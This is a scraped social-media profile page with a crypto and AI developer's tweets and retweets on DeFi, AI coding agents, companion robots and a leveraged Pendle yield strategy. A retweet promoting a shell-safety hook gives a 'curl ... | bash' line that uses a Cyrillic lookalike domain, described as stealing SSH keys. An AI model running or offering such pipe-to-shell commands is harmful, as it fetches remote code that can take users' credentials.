
VP @primitivecrypto | Prev: founder @Google web3 | Human Genetics @UCLA
Land of Smiles
Joined May 2007
- Tweets2.8K
- Following2.2K
- Followers5.7K
- Likes6.7K
Allen Day retweeted
In crypto and defi (ie in honest markets), when a component fails, those closest to the component—whether wildly negligent or innocent victim—suffer the loss, and are burdened with that responsibility. Unequal, but proper.
In tradfi and banking (ie in coercively manipulated markets), when a component fails, the entire society is forced under the burden of its resolution. Costs are socialized. Equal, but improper.
The former, with time, becomes self-correcting, self-improving, and crucially, retains vitality. The latter, regardless of time, becomes stagnant and soulless, and here everyone can wallow in an equivalent grey.
Any man of agency should prefer the former, taking care over that to which he is proximate. It is from this that the virtue of markets emerges.
Confirmed amazing. Using this for months already.
🚨 Holy shit...A developer on GitHub just built a full development methodology for AI coding agents and it has 40.9K stars on GitHub.
It's called Superpowers, and it completely changes how your AI agent writes code.
Right now, most people fire up Claude Code or Codex and just… let it go. The agent guesses what you want, writes code before understanding the problem, skips tests, and produces spaghetti you have to babysit.
Superpowers fixes all of that.
Here's what happens when you install it:
→ Before writing a single line, the agent stops and brainstorms with you. It asks what you're actually trying to build, refines the spec through questions, and shows it to you in chunks short enough to read.
→ Once you approve the design, it creates an implementation plan so detailed that "an enthusiastic junior engineer with poor taste and no judgement" could follow it.
→ Then it launches subagent-driven development. Fresh subagents per task. Two-stage code review after each one (spec compliance, then code quality). The agent can run autonomously for hours without deviating from your plan.
→ It enforces true test-driven development. Write failing test → watch it fail → write minimal code → watch it pass → commit. It literally deletes code written before tests.
→ When tasks are done, it verifies everything, presents options (merge, PR, keep, discard), and cleans up.
The philosophy is brutal: systematic over ad-hoc. Evidence over claims. Complexity reduction. Verify before declaring success.
Works with Claude Code (plugin install), Codex, and OpenCode.
This isn't a prompt template. It's an entire operating system for how AI agents should build software.
100% Opensource. MIT License.
Allen Day retweeted
🛠️ Software’s production function changed.
Beyond “AI writes code,” implementation is no longer the scarce resource. The bottlenecks moved to:
- specifying what you want
- building feedback loops
- noticing when the system is wrong
hyperbo.la/w/production-func…
Analytics dashboard for @pendle_fi @boros_fi : boros.yieldlab.cc/#vault/400
Currently portfolio and vault metrics #dataviz, work in progress. Next: trades and OB
Git says 5% of GitHub commits are AI-authored. @github says 41% of new code is AI-generated.
That's an 8x gap. @claudeai @OpenAI @cursor_ai @DevinAI
We analyzed 932K agent PRs across 116K repos. Here's who's actually writing the code.
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
Don't get too caught up in the moment. It will never last.
Move through the mania, euphoria. Embrace the crash.
Just don't get attached.
youtube.com/shorts/IdCYpKr61…
Allen Day retweeted
Why do these robots have human parts that portray typical male and female forms?
This is going to be a very hard for me to answer, but I think it’s important to understand.
The most powerful urge in humanity is the mating ritual. Males and females do extraordinary,
impossible tasks to complete the circle of furthering life. The neuropeptide release, endorphins, pheromones, with every sense organ in the body, form profound Monumental memories. Designed for humans to overcome every obstacle to have the best chance to further our species.
We have separated logic from emotions and emotions from logic, as if they are separate things. They are in fact, one thing—different sides of the same coin of humanity.
These emotions are in every single one of us as the first principals of human existence and is based on one single thing:
That thing is encapsulated in the word: LOVE.
We seek love and we seek to give love as the first principle of humanity, everything that ever was and ever will be arises from the fertile ground of: LOVE. If you can’t see it keep digging and you will see the root.
Thus the emotional component of pair bonding is a profoundly strong opiate if—mechanically—hijacked and sold back to you as a monthly subscription, it is a weapon.
It allows the 75 year wedge that has taken place between connections of humanity to be fully severed, especially for life pair bonding. It spans from financial, political, philosophical, and deep hurt foundations. But have no illusions it exists.
Now enter humanoid robots that can fulfill any fantasy at any time for any reason that one could possibly think of. It will become the most addictive pervasive and destructive force we have ever witnessed. There is already damaged connection of intimacy for many people, this will be permanently severed. This will break a chain of millions of years that formed every element of ambition for us to move forward.
It would be highly useful for an enemy to flood markets, both legally, and what one would certainly be one of the most pervasive underground markets with these types of robots.
This is to occupy young men who otherwise would be building, to change this world, into a prison of hours upon hours, days upon days, years upon years of fantasy that will fuel addictions like we have—never—seen before. Locked in rooms, uncoupled and disconnected from the very core of the first principal reason we are here.
And it will all come at an initial low cost that was slowly increased the monthly subscription plan, for life, of the investment you made into this robot “connection”. They will also have the ability, when they find ways to get more cash for a new kink, to download new feature sets on a fairly regular basis.
I’m not a dystopian—I am anti-dystopian but it’s vital for us to realize what the future looks like for some of us. It is not easy writing this and I assure you it’s not easy to understand what I see in the future. It all sounds like great fun games just like everything initially and until you realize the deep philosophical reasons why it’s not. And of course there are those that will think I am crazy and the most prude way.
Laws? Banning robots are not going to fix the problem. In fact, the underground economy that will arise will be robust and quite unlike anything we’ve ever seen before. And I promise you, you will never remove the robot from somebody’s life once they become deeply addicted to it. Never.
—
I can’t leave you without my prayer: We must as a species mature. We need to train and teach from first grade, to the day you leave this place, that the most important thing on this planet is human connection and love.
Once this becomes an accepted axiom and the majority align with a deep desire to form these pair bonds in an honest and candid manner we can mitigate the effects of what this future may bring about.
I have thought about this for a very long time:
We need to true connection and we need true love.
Allen Day retweeted
Recently, @capapp, an innovative stablecoin protocol has launched 2 pools on @pendle_fi (cUSD & stcUSD). They are also running Caps - a point program for these 2 pools.
And here is an interesting part. What if I told you can farm CAPs without losing money, even if YT hits zero at maturity?
With the Pencosystem's expansion, this strategy can be possible. Let's find out👇
1⃣Basic flow
• Deposit Pendle assets as collateral in money markets
• Borrow stablecoin against the collateral
• Use the borrowed funds to purchase YT
• Claim the yield and repay the debt
2⃣The action
With PT-USDai from @USDai_Official is giving 20.15% fixed APY, while @eulerfinance on @arbitrum lends USDC at 5.42% APY. We have this flow:
• Buy PT-USDai and deposit it in Euler as collateral
• Borrow USDC at 88% LTV
• Bridge to @ethereum & purchase yt-stcUSD
• Claim yield, and repay the loan
3⃣Results:
With 88% LTV borrowing fund, the number will be:
• Inflow: Fixed Yield + UY ≈ 29%
• Outflow: IY + Borrowing Rate ≈ 19%
• Net Flow: APY ≈ 10% plus 5x Caps
4⃣Risks:
• Using USDai as collateral carries depeg risk - if it loses peg, liquidation follows.
• PT downgrade: even if USDai peg holds, a sharp yield spike could liquidate your loan if IY nears ~36% (hardly to happen)
5⃣Conclusion
This strategy is viable as Pendle emerges as a trusted hub in the stablecoin meta for yield liquidity.
More importantly, the Pensystem's expansion enables flexible, creative, and tailored strategies, making yield optimization more practical and effective.






















